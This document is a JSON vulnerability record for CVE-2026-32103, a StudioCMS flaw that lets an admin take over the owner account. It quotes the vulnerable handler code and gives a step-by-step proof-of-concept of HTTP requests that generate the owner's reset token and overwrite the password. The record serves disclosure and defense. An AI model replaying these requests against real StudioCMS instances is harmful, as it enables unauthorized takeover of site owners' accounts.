{"id":"CVE-2026-32103","aliases":["CVE-2026-32103","GHSA-h7vr-cg25-jf8c"],"related":[],"kind":"vulnerability","state":"published","title":"StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation","summary":"StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3.","source":"cvelist"},{"lang":"en","text":"## Summary\nThe POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.\n\n## Details\n#### Vulnerable Code\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts\n**Version:** studiocms@0.3.0\n```\nconst isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]\nif (!isAuthorized) {\n    return apiResponseLogger(403, 'Unauthorized');\n}\n\nconst { userId } = yield* readAPIContextJson<{ userId: string }>(ctx);            // [2]\n\nif (!userId) {\n    return apiResponseLogger(400, 'Invalid form data, userId is required');\n}\n\n// [3] userId is passed directly — no check against caller's identity\n// [4] No check whether the target user outranks the caller\nconst token = yield* sdk.resetTokenBucket.new(userId);                            // [5]\n```\n#### Analysis\nUnlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:\n1. **No caller identity validation [2][3]:** The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's.\n2. **No role hierarchy enforcement [4]:** The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.\n3. **Reset token returned in response [5]:** The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.\n\nThe core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.\n\n## PoC\n**Environment**\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n\n**Step 1 — Verify Attacker's Session (Admin)**\nConfirm the attacker is authenticated as admin (user dummy03):\n```\nPOST /studiocms_api/dashboard/verify-session HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\"originPathname\":\"http://127.0.0.1:4321/dashboard\"}\n```\nResponse:\n```\n{\n  \"isLoggedIn\": true,\n  \"user\": {\n    \"id\": \"eacee42e-ae7e-4e9e-945b-68e26696ece4\",\n    \"name\": \"dummy03\",\n    \"username\": \"dummy03\"\n  },\n  \"permissionLevel\": \"admin\"\n}\n```\n\n**Step 2 — Generate Password Reset Token for the Owner**\nThe admin sends a request to create a reset link targeting the owner's UUID:\n```\nPOST /studiocms_api/dashboard/create-reset-link HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\"}\n```\nResponse:\n```\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"<reset_jwt_token>\"\n}\n```\nThe server generated a valid password reset JWT for the owner account and returned it to the admin caller.\n\n**Step 3 — Reset the Owner's Password**\nUsing all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:\n```\nPOST /studiocms_api/dashboard/reset-password HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userid\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"<reset_jwt_token>\",\n  \"password\": \"pwned1234@@\",\n  \"confirm_password\": \"pwned1234@@\"\n}\n```\nResponse:\n```\n{\"message\": \"User password updated successfully\"}\n```\nThe owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.\n\n## Impact\n- **Owner Account Takeover:** Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.","format":"markdown","source":"ghsa"},{"lang":"es","text":"StudioCMS es un sistema de gestión de contenido sin cabeza, nativo de Astro, renderizado en el lado del servidor. Antes de la 0.4.3, el punto final POST /studiocms_api/dashboard/create-reset-link permite a cualquier usuario autenticado con privilegios de administrador generar un token de restablecimiento de contraseña para cualquier otro usuario, incluida la cuenta del propietario. El gestor verifica que el llamador es un administrador, pero no aplica la jerarquía de roles, ni valida que el ID de usuario objetivo coincida con la identidad del llamador. Combinado con el punto final POST /studiocms_api/dashboard/reset-password, esto permite una toma de control completa de la cuenta con los privilegios más altos en el sistema. Esta vulnerabilidad está corregida en la 0.4.3.","source":"nvd"}],"published":"2026-03-11T20:06:58.276Z","modified":"2026-06-17T10:35:08.460Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N","score":6.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N","score":6.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N","score":6.8,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-639","CWE-640"],"affected":[{"ranges":[{"version":"< 0.4.3","status":"affected"}],"vendor":"withstudiocms","product":"studiocms","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.4.3"}],"ecosystem":"npm","package":"studiocms","purl":"pkg:npm/studiocms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.4.3"}],"vendor":"studiocms","product":"studiocms","cpe":"cpe:2.3:a:studiocms:studiocms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32103","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/withstudiocms/studiocms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-12T19:48:49.354Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32103","url":"https://www.cve.org/CVERecord?id=CVE-2026-32103","licence":"CVE Terms of Use","modified":"2026-03-12T19:48:56.254Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h7vr-cg25-jf8c","url":"https://github.com/advisories/GHSA-h7vr-cg25-jf8c","licence":"CC-BY-4.0","modified":"2026-03-14T03:11:22.330Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32103","licence":"Public domain","modified":"2026-06-17T10:35:08.460Z"}],"updatedAt":"2026-11-25T22:59:15.784Z","epss":{"score":0.00387,"percentile":0.349,"date":"2026-12-01T12:00:22.000Z"}}